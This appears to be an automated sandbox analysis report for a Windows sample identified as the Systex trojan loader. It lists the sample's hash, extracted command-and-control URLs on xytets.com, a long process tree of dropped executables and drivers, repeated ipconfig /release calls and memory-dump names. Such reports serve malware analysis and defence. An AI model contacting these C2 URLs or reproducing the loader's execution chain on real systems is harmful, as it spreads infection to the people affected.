Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
02/08/2026, 17:32
General
- Target 2026-08-02_9873e38d50fda7a6019b48fc72885bcf_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
- Size 291KB
- Sample260802-v4lwdsdc95
- SHA256 e03e1aae48743a07495e973eb6c27ebcfe083d6fa5b3de1f37360bab21786dd1
Malware Config
Extracted
-
systex
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- UPX dump on OEP (original entry point) 64 IoCs
- Executes dropped EXE 64 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 58 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 63 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-02_9873e38d50fda7a6019b48fc72885bcf_coinminer_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-02_9873e38d50fda7a6019b48fc72885bcf_coinminer_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3252 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4168 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jdbwtomgby.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\jdbwtomgby.exeC:\Temp\jdbwtomgby.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jdbwtomgby.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_jdbwtomgby.exeC:\Temp\i_jdbwtomgby.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dbvtnlfdyw.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\dbvtnlfdyw.exeC:\Temp\dbvtnlfdyw.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dbvtnlfdyw.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_dbvtnlfdyw.exeC:\Temp\i_dbvtnlfdyw.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nigaysqkid.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nigaysqkid.exeC:\Temp\nigaysqkid.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nigaysqkid.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nigaysqkid.exeC:\Temp\i_nigaysqkid.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\vpnifaxsqk.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\vpnifaxsqk.exeC:\Temp\vpnifaxsqk.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_vpnifaxsqk.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_vpnifaxsqk.exeC:\Temp\i_vpnifaxsqk.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\fzxspkhcau.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\fzxspkhcau.exeC:\Temp\fzxspkhcau.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_fzxspkhcau.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_fzxspkhcau.exeC:\Temp\i_fzxspkhcau.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\mhfaupmhfz.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\mhfaupmhfz.exeC:\Temp\mhfaupmhfz.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_mhfaupmhfz.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_mhfaupmhfz.exeC:\Temp\i_mhfaupmhfz.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rmjecwuomg.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\rmjecwuomg.exeC:\Temp\rmjecwuomg.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rmjecwuomg.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_rmjecwuomg.exeC:\Temp\i_rmjecwuomg.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\uomgbztrlj.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\uomgbztrlj.exeC:\Temp\uomgbztrlj.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_uomgbztrlj.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_uomgbztrlj.exeC:\Temp\i_uomgbztrlj.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nlgdywqoig.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nlgdywqoig.exeC:\Temp\nlgdywqoig.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nlgdywqoig.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nlgdywqoig.exeC:\Temp\i_nlgdywqoig.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nlfdyvqoig.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nlfdyvqoig.exeC:\Temp\nlfdyvqoig.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nlfdyvqoig.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nlfdyvqoig.exeC:\Temp\i_nlfdyvqoig.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\sqlidavqki.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\sqlidavqki.exeC:\Temp\sqlidavqki.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_sqlidavqki.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_sqlidavqki.exeC:\Temp\i_sqlidavqki.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\avsnkfdxvp.exe ups_run2⤵
-
C:\Temp\avsnkfdxvp.exeC:\Temp\avsnkfdxvp.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_avsnkfdxvp.exe ups_ins2⤵
-
C:\Temp\i_avsnkfdxvp.exeC:\Temp\i_avsnkfdxvp.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kicausmkfc.exe ups_run2⤵
-
C:\Temp\kicausmkfc.exeC:\Temp\kicausmkfc.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kicausmkfc.exe ups_ins2⤵
-
C:\Temp\i_kicausmkfc.exeC:\Temp\i_kicausmkfc.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ecxuhfzxrp.exe ups_run2⤵
-
C:\Temp\ecxuhfzxrp.exeC:\Temp\ecxuhfzxrp.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ecxuhfzxrp.exe ups_ins2⤵
-
C:\Temp\i_ecxuhfzxrp.exeC:\Temp\i_ecxuhfzxrp.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rpjhbzurmk.exe ups_run2⤵
-
C:\Temp\rpjhbzurmk.exeC:\Temp\rpjhbzurmk.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rpjhbzurmk.exe ups_ins2⤵
-
C:\Temp\i_rpjhbzurmk.exeC:\Temp\i_rpjhbzurmk.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jebwtomgey.exe ups_run2⤵
-
C:\Temp\jebwtomgey.exeC:\Temp\jebwtomgey.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jebwtomgey.exe ups_ins2⤵
-
C:\Temp\i_jebwtomgey.exeC:\Temp\i_jebwtomgey.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ywqojgbytr.exe ups_run2⤵
-
C:\Temp\ywqojgbytr.exeC:\Temp\ywqojgbytr.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ywqojgbytr.exe ups_ins2⤵
-
C:\Temp\i_ywqojgbytr.exeC:\Temp\i_ywqojgbytr.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bvtodywqoi.exe ups_run2⤵
-
C:\Temp\bvtodywqoi.exeC:\Temp\bvtodywqoi.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bvtodywqoi.exe ups_ins2⤵
-
C:\Temp\i_bvtodywqoi.exeC:\Temp\i_bvtodywqoi.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\tnlfdxvqni.exe ups_run2⤵
-
C:\Temp\tnlfdxvqni.exeC:\Temp\tnlfdxvqni.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_tnlfdxvqni.exe ups_ins2⤵
-
C:\Temp\i_tnlfdxvqni.exeC:\Temp\i_tnlfdxvqni.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\faysqkicav.exe ups_run2⤵
-
C:\Temp\faysqkicav.exeC:\Temp\faysqkicav.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\Temp\tnlgdywqoi.sysC:\Temp\tnlgdywqoi.sys1⤵
- Executes dropped EXE
-
C:\Temp\vsnlfdxvpn.sysC:\Temp\vsnlfdxvpn.sys1⤵
- Executes dropped EXE
-
C:\Temp\kicankfdxv.sysC:\Temp\kicankfdxv.sys1⤵
- Executes dropped EXE
-
C:\Temp\xspkicausn.sysC:\Temp\xspkicausn.sys1⤵
- Executes dropped EXE
-
C:\Temp\xrpkhcausm.sysC:\Temp\xrpkhcausm.sys1⤵
- Executes dropped EXE
-
C:\Temp\czurmkecwu.sysC:\Temp\czurmkecwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\eywrojhbzt.sysC:\Temp\eywrojhbzt.sys1⤵
- Executes dropped EXE
-
C:\Temp\uomgeywroj.sysC:\Temp\uomgeywroj.sys1⤵
- Executes dropped EXE
-
C:\Temp\bvtolgeywq.sysC:\Temp\bvtolgeywq.sys1⤵
- Executes dropped EXE
-
C:\Temp\davtnlfdxv.sysC:\Temp\davtnlfdxv.sys1⤵
- Executes dropped EXE
-
C:\Temp\kfdxvpnifa.sysC:\Temp\kfdxvpnifa.sys1⤵
-
C:\Temp\cxvpnhfspk.sysC:\Temp\cxvpnhfspk.sys1⤵
-
C:\Temp\pnhfzxrpkh.sysC:\Temp\pnhfzxrpkh.sys1⤵
-
C:\Temp\czusmkecwu.sysC:\Temp\czusmkecwu.sys1⤵
-
C:\Temp\uomgezwroj.sysC:\Temp\uomgezwroj.sys1⤵
-
C:\Temp\rljdbolgey.sysC:\Temp\rljdbolgey.sys1⤵
-
C:\Temp\igbytrljdb.sysC:\Temp\igbytrljdb.sys1⤵
-
C:\Temp\dyvqoigays.sysC:\Temp\dyvqoigays.sys1⤵
-
C:\Temp\nlfdxvqnig.sysC:\Temp\nlfdxvqnig.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
czurmkecwu.sys
dbvtnlfdyw.exe
eywrojhbzt.sys
fzxspkhcau.exe
i_dbvtnlfdyw.exe
i_fzxspkhcau.exe
i_jdbwtomgby.exe
i_mhfaupmhfz.exe
i_nigaysqkid.exe
i_rmjecwuomg.exe
i_vpnifaxsqk.exe
jdbwtomgby.exe
kicankfdxv.sys
mhfaupmhfz.exe
nigaysqkid.exe
rmjecwuomg.exe
tnlgdywqoi.sys
vpnifaxsqk.exe
vsnlfdxvpn.sys
xrpkhcausm.sys
xspkicausn.sys
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
RecoveryStore.{310EDBB0-8E98-11F1-BC3D-D2B4DCFC1B56}.dat
RecoveryStore.{31113E61-8E98-11F1-BC3D-D2B4DCFC1B56}.dat
suggestions[1].en-US
memory/116-217-0x0000000000010000-0x0000000000083000-memory.dmp
memory/436-224-0x0000000000450000-0x000000000049B000-memory.dmp
memory/436-222-0x0000000000450000-0x000000000049B000-memory.dmp
memory/452-26-0x0000000000D10000-0x0000000000D5B000-memory.dmp
memory/452-29-0x0000000000D10000-0x0000000000D5B000-memory.dmp
memory/544-160-0x00000000009E0000-0x0000000000A2B000-memory.dmp
memory/544-158-0x00000000009E0000-0x0000000000A2B000-memory.dmp
memory/640-203-0x00000000004E0000-0x000000000052B000-memory.dmp
memory/640-204-0x00000000004E0000-0x000000000052B000-memory.dmp
memory/700-95-0x0000000000FF0000-0x000000000103B000-memory.dmp
memory/700-97-0x0000000000FF0000-0x000000000103B000-memory.dmp
memory/708-54-0x0000000000010000-0x0000000000083000-memory.dmp
memory/708-81-0x0000000000010000-0x0000000000083000-memory.dmp
memory/880-139-0x0000000000D40000-0x0000000000D8B000-memory.dmp
memory/880-137-0x0000000000D40000-0x0000000000D8B000-memory.dmp
memory/1048-237-0x0000000000040000-0x000000000008B000-memory.dmp
memory/1048-236-0x0000000000040000-0x000000000008B000-memory.dmp
memory/1668-184-0x0000000000790000-0x00000000007DB000-memory.dmp
memory/1668-182-0x0000000000790000-0x00000000007DB000-memory.dmp
memory/1796-90-0x0000000000290000-0x00000000002DB000-memory.dmp
memory/1796-88-0x0000000000290000-0x00000000002DB000-memory.dmp
memory/1800-135-0x0000000000F90000-0x0000000000FDB000-memory.dmp
memory/1800-134-0x0000000000F90000-0x0000000000FDB000-memory.dmp
memory/1976-172-0x0000000000FD0000-0x000000000101B000-memory.dmp
memory/1976-171-0x0000000000FD0000-0x000000000101B000-memory.dmp
memory/2100-177-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2152-208-0x0000000000130000-0x000000000017B000-memory.dmp
memory/2152-206-0x0000000000130000-0x000000000017B000-memory.dmp
memory/2256-143-0x0000000000450000-0x000000000049B000-memory.dmp
memory/2256-142-0x0000000000450000-0x000000000049B000-memory.dmp
memory/2296-61-0x0000000000FA0000-0x0000000000FEB000-memory.dmp
memory/2296-59-0x0000000000FA0000-0x0000000000FEB000-memory.dmp
memory/2308-163-0x0000000000360000-0x00000000003AB000-memory.dmp
memory/2308-164-0x0000000000360000-0x00000000003AB000-memory.dmp
memory/2380-99-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2392-38-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2432-214-0x0000000000590000-0x00000000005DB000-memory.dmp
memory/2432-216-0x0000000000590000-0x00000000005DB000-memory.dmp
memory/2576-0-0x0000000000DC0000-0x0000000000E0B000-memory.dmp
memory/2576-20-0x0000000000DC0000-0x0000000000E0B000-memory.dmp
memory/2768-122-0x0000000000150000-0x000000000019B000-memory.dmp
memory/2768-120-0x0000000000150000-0x000000000019B000-memory.dmp
memory/2860-188-0x0000000000600000-0x000000000064B000-memory.dmp
memory/2860-187-0x0000000000600000-0x000000000064B000-memory.dmp
memory/2956-131-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2988-111-0x0000000000A60000-0x0000000000AAB000-memory.dmp
memory/2988-195-0x0000000000090000-0x00000000000DB000-memory.dmp
memory/2988-113-0x0000000000A60000-0x0000000000AAB000-memory.dmp
memory/2988-196-0x0000000000090000-0x00000000000DB000-memory.dmp
memory/3032-129-0x0000000000A70000-0x0000000000ABB000-memory.dmp
memory/3032-126-0x0000000000A70000-0x0000000000ABB000-memory.dmp
memory/3080-140-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3104-115-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3204-80-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3308-12-0x00000000003A0000-0x00000000003EB000-memory.dmp
memory/3308-10-0x00000000003A0000-0x00000000003EB000-memory.dmp
memory/3328-49-0x0000000000160000-0x00000000001AB000-memory.dmp
memory/3328-52-0x0000000000160000-0x00000000001AB000-memory.dmp
memory/3360-169-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3504-220-0x0000000000AA0000-0x0000000000AEB000-memory.dmp
memory/3504-219-0x0000000000AA0000-0x0000000000AEB000-memory.dmp
memory/3780-233-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3968-161-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4180-176-0x0000000000560000-0x00000000005AB000-memory.dmp
memory/4180-174-0x0000000000560000-0x00000000005AB000-memory.dmp
memory/4188-212-0x0000000000490000-0x00000000004DB000-memory.dmp
memory/4188-211-0x0000000000490000-0x00000000004DB000-memory.dmp
memory/4216-198-0x00000000005A0000-0x00000000005EB000-memory.dmp
memory/4216-200-0x00000000005A0000-0x00000000005EB000-memory.dmp
memory/4280-225-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4280-234-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4328-103-0x0000000000790000-0x00000000007DB000-memory.dmp
memory/4328-106-0x0000000000790000-0x00000000007DB000-memory.dmp
memory/4424-209-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4444-168-0x0000000000490000-0x00000000004DB000-memory.dmp
memory/4444-166-0x0000000000490000-0x00000000004DB000-memory.dmp
memory/4544-185-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4588-192-0x00000000009A0000-0x00000000009EB000-memory.dmp
memory/4588-190-0x00000000009A0000-0x00000000009EB000-memory.dmp
memory/4644-232-0x0000000000120000-0x000000000016B000-memory.dmp
memory/4644-230-0x0000000000120000-0x000000000016B000-memory.dmp
memory/4776-45-0x00000000000D0000-0x000000000011B000-memory.dmp
memory/4776-44-0x00000000000D0000-0x000000000011B000-memory.dmp
memory/4780-228-0x0000000000BC0000-0x0000000000C0B000-memory.dmp
memory/4780-227-0x0000000000BC0000-0x0000000000C0B000-memory.dmp
memory/4812-22-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4828-36-0x0000000000B50000-0x0000000000B9B000-memory.dmp
memory/4828-33-0x0000000000B50000-0x0000000000B9B000-memory.dmp
memory/4956-17-0x0000000000CC0000-0x0000000000D0B000-memory.dmp
memory/4956-19-0x0000000000CC0000-0x0000000000D0B000-memory.dmp
memory/4968-179-0x0000000000A70000-0x0000000000ABB000-memory.dmp
memory/4968-180-0x0000000000A70000-0x0000000000ABB000-memory.dmp
memory/4988-66-0x00000000005E0000-0x000000000062B000-memory.dmp
memory/4988-78-0x00000000005E0000-0x000000000062B000-memory.dmp
memory/4992-193-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5056-201-0x0000000000010000-0x0000000000083000-memory.dmp